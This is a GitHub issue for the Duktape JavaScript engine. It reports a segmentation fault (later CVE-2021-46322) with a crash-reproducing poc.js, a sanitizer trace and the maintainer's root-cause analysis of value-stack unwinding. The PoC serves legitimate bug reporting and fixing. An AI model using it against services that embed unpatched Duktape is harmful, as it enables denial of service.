Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

An SEGV issue detected when compiled with UBSAN #2448

Closed
hope-fly opened this issue Jan 10, 2022 · 10 comments · Fixed by #2451
Closed

An SEGV issue detected when compiled with UBSAN #2448

hope-fly opened this issue Jan 10, 2022 · 10 comments · Fixed by #2451
Labels

Comments

@hope-fly
Copy link

Duktape revision

Commit: 1a1b17ef

Version: 2.99.99

Build environment

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps
make && make clean
make build/duk-sanitize-clang
Test case
poc.js

function JSEtest() {
    var src = [];
    var i;

    src.push('(function test() {');
    for (i = 0; i < 1e4; i++) {
        src.push('var x' + i + ' = ' + i + ';');
    }
    src.push('var arguments = test(); return "dummy"; })');
    src = src.join('');

    var f = eval(src)(src);

    try {
        f();
    } catch (e) {
        print(e.name + ': ' + e.message);
    }

    print('still here');
}

try {
    JSEtest();
} catch (e) {
    print(e.stack || e);
}

Execution & Output
$ ./duktape/build/duk-sanitize-clang poc.js

==6822==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x7f704fc22000 (pc 0x0000004368e8 bp 0x7f704fc0d901 sp 0x7fffce632cc0 T6822)
==6822==The signal is caused by a READ memory access.
    #0 0x4368e7 in duk_push_tval /duktape/duk_api_stack.c:4314:29
    #1 0x4f31ff in duk_js_close_environment_record /duktape/duk_js_var.c:724:3
    #2 0x4f2913 in duk__activation_unwind_nofree_norz /duktape/duk_hthread_stacks.c:278:3
    #3 0x4efd8f in duk_hthread_activation_unwind_norz /duktape/duk_hthread_stacks.c:315:2
    #4 0x51f4f7 in duk__handle_longjmp /duktape/duk_js_executor.c:1437:4
    #5 0x514d3f in duk__handle_executor_error /duktape/duk_js_executor.c:2900:11
    #6 0x4efa37 in duk_js_execute_bytecode /duktape/duk_js_executor.c:3007:4
    #7 0x4ea4ab in duk__handle_call_raw /duktape/duk_js_call.c:2242:3
    #8 0x524b59 in wrapped_compile_execute /duktape/examples/cmdline/duk_cmdline.c:304:2
    #9 0x520d77 in duk__handle_safe_call_inner /duktape/duk_js_call.c:2467:7
    #10 0x42d5b6 in duk_handle_safe_call /duktape/duk_js_call.c:2713:3
    #11 0x523ff4 in handle_fh /duktape/examples/cmdline/duk_cmdline.c:637:7
    #12 0x523e4a in handle_file /duktape/examples/cmdline/duk_cmdline.c:696:11
    #13 0x52370c in main /duktape/examples/cmdline/duk_cmdline.c:1653:7
    #14 0x7f704ff84bf6 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310
    #15 0x404219 in _start (/duktape/build/duk-sanitize-clang+0x404219)

UndefinedBehaviorSanitizer can not provide additional info.
==6822==ABORTING
Execution without ASAN
$ ./duktape/build/duk poc.js
[1]    57011 segmentation fault  /duktape/build/duk poc.js
@hope-fly
Copy link
Author

I cannot locate the accurate location of the bug without ASAN, how to compile duktape with ASAN?
if you locate the function/source code, please info me. Thanks!

@svaarala
Copy link
Owner

Thanks! I can reproduce the issue with the poc.js 👍

@svaarala svaarala added the bug label Jan 10, 2022
@svaarala
Copy link
Owner

With asserts enabled there's an assert failure:

D0 duk_api_stack.c:802 (duk__resize_valstack): resized valstack 737928 -> 925522 elements (11806848 -> 14808352 bytes): base=0x7f4a14766010 -> 0x7f4a14766010, bottom=0x7f4a15263f90 -> 0x7f4a15263f90 (720376), top=0x7f4a1528b0e0 -> 0x7f4a1528b0e0 (730381), end=0x7f4a1528b360 -> 0x7f4a1528b360 (730421), alloc_end=0x7f4a152a8890 -> 0x7f4a15585530 (925522); tv_prev_alloc_end=0x7f4a152a8890 (-> 187594 inits; <0 means shrink)
D0 duk_error_augment.c:199 (duk__add_traceback): preallocated _Tracedata to 22 items
D0 duk_error_misc.c:89 (duk_err_check_debugger_integration): skip debugger error integration; not attached, debugger processing, not THROW, or error thrown while creating error
D0 duk_error_macros.c:152 (duk_default_fatal_handler): custom default fatal error handler called: assertion failed: (duk_uint8_t *) thr->valstack + regbase_byteoff + sizeof(duk_tval) * regnum < (duk_uint8_t *) thr->valstack_top (duk_js_var.c:710)
*** FATAL ERROR: assertion failed: (duk_uint8_t *) thr->valstack + regbase_byteoff + sizeof(duk_tval) * regnum < (duk_uint8_t *) thr->valstack_top (duk_js_var.c:710)
Segmentation fault

@svaarala
Copy link
Owner

So this apparently happens when the infinite test() recursion reaches the maximum value stack size, and on that unwind path closing scopes doesn't work as expected. Should be relatively straightforward to figure out.

@svaarala
Copy link
Owner

Non-assert version fails with:

RangeError: valstack limit
    at [anon] (duk_api_stack.c:848) internal
    at [anon] () native strict
    at test (input:1)
    at test (input:1)
    at test (input:1)
    at test (input:1)
    at test (input:1)
    at test (input:1)
    at test (input:1)
    at test (input:1)
    at test (input:1)

@svaarala
Copy link
Owner

Renaming the var arguments = test() to say var my_arguments = test() avoids the issue. On the other hand if one does that and adds a void arguments; statement, which triggers creation of an arguments object but no operations on it, again triggers the issue. So it seems that it's important that the target function has an arguments object flag.

@svaarala
Copy link
Owner

I think I found the root cause: when arguments exists call handling sets up the necessary environment record and "varmap" before the call (normally it is delayed if/until needed). That "varmap" will reference register numbers that don't yet exist at the time that varmap setup is done. The very next step is to resize (grow) the valstack for the call - but if that fails, the "varmap" will reference out of value stack offsets when the partially complete activation is unwound.

The fix might be to grow the value stack before setting up the env record, I'm trying to see if that works in a straightforward manner without other issues.

@ddillard
Copy link

The CVE says that this affects version 2.99.99. Given that there is no such version tagged is it reasonable to assume that this affects all released versions?

@svaarala
Copy link
Owner

@ddillard It affects 2.x at least so there will be a fix in v2-maintenance.

@genbtc
Copy link

genbtc commented Aug 17, 2022

hello!
Can someone please confirm the CVE-2021-46322 is mitigated as a result of this commit fc75060 from issue #2451 closing this issue #2448 mentioned in the CVE Advisory ?
Specifically duktape version 2.7.0 released Feb 18th.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging a pull request may close this issue.

4 participants